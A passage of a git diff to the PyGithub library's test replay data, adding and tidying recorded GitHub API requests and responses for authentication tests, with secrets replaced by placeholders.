+200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 08:03:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c4bbbf57b6ff21caac0b59dec0ae83b3b9e66a234db40e22ee60c1b26b771a3f"'), ('Last-Modified', 'Tue, 09 May 2023 07:44:21 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '55'), ('X-RateLimit-Reset', '1683622021'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '5'), ('Accept-Ranges', 'bytes'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'C22C:5529:6AEA2F:6BEA9A:6459FE6B')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-05-09T07:44:21Z","pushed_at":"2023-05-09T07:33:55Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13824,"stargazers_count":5996,"watchers_count":5996,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1628,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":258,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1628,"open_issues":258,"watchers":5996,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1628,"subscribers_count":115} diff --git a/tests/ReplayData/Authentication.testAppUserAuthentication.txt b/tests/ReplayData/Authentication.testAppUserAuthentication.txt new file mode 100644 index 0000000000..d1fb3b6970 --- /dev/null +++ b/tests/ReplayData/Authentication.testAppUserAuthentication.txt @@ -0,0 +1,32 @@ +https +POST +github.com +None +/login/oauth/access_token +{'Accept': 'application/json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"client_id": "removed client id", "client_secret": "removed client secret", "grant_type": "refresh_token", "refresh_token": "removed refresh token"} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:27:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Vary', 'X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e8a025894c83a02cfc803c31ab4fad5d"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ wss://*.actions.githubusercontent.com github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED90:28E7:49399EC:4A04E0A:6480DA3F')] +{"access_token":"fresh access token","expires_in":28800,"refresh_token":"fresh refresh token","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} + +https +POST +github.com +None +/login/oauth/access_token +{'Accept': 'application/json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"client_id": "removed client id", "client_secret": "removed client secret", "grant_type": "refresh_token", "refresh_token": "fresh refresh token"} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:28:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Vary', 'X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0a182fcce694870c91b7c96a645b67ec"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ wss://*.actions.githubusercontent.com github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED9C:7D77:4AD94EB:4B9CB5D:6480DA40')] +{"access_token":"another access token","expires_in":28800,"refresh_token":"another refresh token","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} + +https +GET +api.github.com +None +/user +{'Authorization': 'bearer another access token', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:28:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"54b08a82d0db134f62cbe236aed299676e7118524c4fecd65bf19e07ef5155ea"'), ('Last-Modified', 'Thu, 01 Jun 2023 06:30:10 GMT'), ('X-OAuth-Scopes', ''), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', 'Iv1.a0facee5139c0213'), ('github-authentication-token-expiration', '2023-06-08 03:28:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1686167445'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C5C2:341D:2E56DD4:2EBAE4B:6480DA40')] +{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false,"name":"Enrico Minack","company":null,"blog":"","location":"Hannover, Germany","email":"github@enrico.minack.dev","hireable":null,"bio":"Open Source Software enthusiast, LF AI Horovod maintainer, Apache Spark contributor.","twitter_username":null,"public_repos":38,"public_gists":0,"followers":30,"following":0,"created_at":"2018-11-02T11:17:22Z","updated_at":"2023-06-01T06:30:10Z"} diff --git a/tests/ReplayData/Authentication.testAuthorizationHeaderWithLogin.txt b/tests/ReplayData/Authentication.testAuthorizationHeaderWithLogin.txt index d5e56c1405..d6055ece9d 100644 --- a/tests/ReplayData/Authentication.testAuthorizationHeaderWithLogin.txt +++ b/tests/ReplayData/Authentication.testAuthorizationHeaderWithLogin.txt @@ -8,4 +8,3 @@ None 401 [('status', '401 Unauthorized'), ('content-length', '29'), ('x-github-media-type', 'github.beta; format=json'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('date', 'Thu, 28 Mar 2013 20:14:22 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Bad credentials"} - diff --git a/tests/ReplayData/Authentication.testAuthorizationHeaderWithToken.txt b/tests/ReplayData/Authentication.testAuthorizationHeaderWithToken.txt index 425bcd1f6c..5d1aa59d19 100644 --- a/tests/ReplayData/Authentication.testAuthorizationHeaderWithToken.txt +++ b/tests/ReplayData/Authentication.testAuthorizationHeaderWithToken.txt @@ -8,4 +8,3 @@ None 403 [('status', '403 Forbidden'), ('content-length', '50'), ('x-github-media-type', 'github.beta; format=json'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('date', 'Thu, 28 Mar 2013 20:15:00 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Max number of login attempt exceeded"} - diff --git a/tests/ReplayData/Authentication.testBasicAuthentication.txt b/tests/ReplayData/Authentication.testBasicAuthentication.txt index 4357e4453f..78432147e6 100644 --- a/tests/ReplayData/Authentication.testBasicAuthentication.txt +++ b/tests/ReplayData/Authentication.testBasicAuthentication.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f1a68180387d296f308d6a01917e1799"'), ('date', 'Sat, 26 May 2012 09:34:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","disk_usage":16852,"public_repos":11,"url":"https://api.github.com/users/jacquev6","hireable":false,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"public_gists":1,"bio":"","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","private_gists":5,"collaborators":0,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} - diff --git a/tests/ReplayData/Authentication.testJWTAuthentication.txt b/tests/ReplayData/Authentication.testJWTAuthentication.txt index 0f13b12809..761a5779c4 100644 --- a/tests/ReplayData/Authentication.testJWTAuthentication.txt +++ b/tests/ReplayData/Authentication.testJWTAuthentication.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} - diff --git a/tests/ReplayData/Authentication.testLoginAuthentication.txt b/tests/ReplayData/Authentication.testLoginAuthentication.txt new file mode 100644 index 0000000000..78432147e6 --- /dev/null +++ b/tests/ReplayData/Authentication.testLoginAuthentication.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/users/jacquev6 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f1a68180387d296f308d6a01917e1799"'), ('date', 'Sat, 26 May 2012 09:34:28 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"type":"User","disk_usage":16852,"public_repos":11,"url":"https://api.github.com/users/jacquev6","hireable":false,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"public_gists":1,"bio":"","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","private_gists":5,"collaborators":0,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} diff --git a/tests/ReplayData/Authentication.testNoAuthentication.txt b/tests/ReplayData/Authentication.testNoAuthentication.txt index efcf3628a1..0d07eab0bd 100644 --- a/tests/ReplayData/Authentication.testNoAuthentication.txt +++ b/tests/ReplayData/Authentication.testNoAuthentication.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b81320548394cb55b7e97fb1636d2898"'), ('date', 'Sat, 26 May 2012 09:34:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_repos":11,"url":"https://api.github.com/users/jacquev6","hireable":false,"public_gists":1,"bio":"","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} - diff --git a/tests/ReplayData/Authentication.testOAuthAuthentication.txt b/tests/ReplayData/Authentication.testOAuthAuthentication.txt index f6a50faf69..fb538a8ac9 100644 --- a/tests/ReplayData/Authentication.testOAuthAuthentication.txt +++ b/tests/ReplayData/Authentication.testOAuthAuthentication.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} - diff --git a/tests/ReplayData/Authentication.testTokenAuthentication.txt b/tests/ReplayData/Authentication.testTokenAuthentication.txt new file mode 100644 index 0000000000..fb538a8ac9 --- /dev/null +++ b/tests/ReplayData/Authentication.testTokenAuthentication.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/users/jacquev6 +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] +{"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} diff --git a/tests/ReplayData/Authentication.testUserAgent.txt b/tests/ReplayData/Authentication.testUserAgent.txt index 6d0f9f01af..bc02e964c1 100644 --- a/tests/ReplayData/Authentication.testUserAgent.txt +++ b/tests/ReplayData/Authentication.testUserAgent.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '1250'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept'), ('x-ratelimit-remaining', '57'), ('server', 'nginx'), ('last-modified', 'Mon, 19 Nov 2012 19:05:48 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', '"20bb1bc354d1c62d7c5e8b918cdbe6a1"'), ('cache-control', 'public, s-maxage=60, max-age=60'), ('date', 'Mon, 19 Nov 2012 20:14:08 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":19,"type":"User","followers_url":"https://api.github.com/users/jacquev6/followers","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/jacquev6/received_events","following_url":"https://api.github.com/users/jacquev6/following","login":"jacquev6","blog":"http://vincent-jacques.net","following":37,"html_url":"https://github.com/jacquev6","created_at":"2010-07-09T06:10:06Z","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","bio":"","name":"Vincent Jacques","email":"vincent@vincent-jacques.net","repos_url":"https://api.github.com/users/jacquev6/repos","public_gists":2,"followers":18,"company":"Criteo","location":"Paris, France","id":327146,"events_url":"https://api.github.com/users/jacquev6/events{/privacy}","organizations_url":"https://api.github.com/users/jacquev6/orgs"} - diff --git a/tests/ReplayData/Authorization.setUp.txt b/tests/ReplayData/Authorization.setUp.txt index c225d7a566..6b78278dd6 100644 --- a/tests/ReplayData/Authorization.setUp.txt +++ b/tests/ReplayData/Authorization.setUp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e15ef91b6fe4705f493fca75475b763b"'), ('date', 'Tue, 22 May 2012 18:03:49 GMT'), ('content-type', 'application/json; charset=utf-8')] {"scopes":[],"note_url":null,"updated_at":"2012-05-22T18:03:17Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"created_at":"2012-05-22T18:03:17Z","id":372259} - diff --git a/tests/ReplayData/Authorization.testDelete.txt b/tests/ReplayData/Authorization.testDelete.txt index ed8b517787..ff84ecde08 100644 --- a/tests/ReplayData/Authorization.testDelete.txt +++ b/tests/ReplayData/Authorization.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 18:25:53 GMT')] - - diff --git a/tests/ReplayData/Authorization.testEdit.txt b/tests/ReplayData/Authorization.testEdit.txt index da16308096..060d97a9bf 100644 --- a/tests/ReplayData/Authorization.testEdit.txt +++ 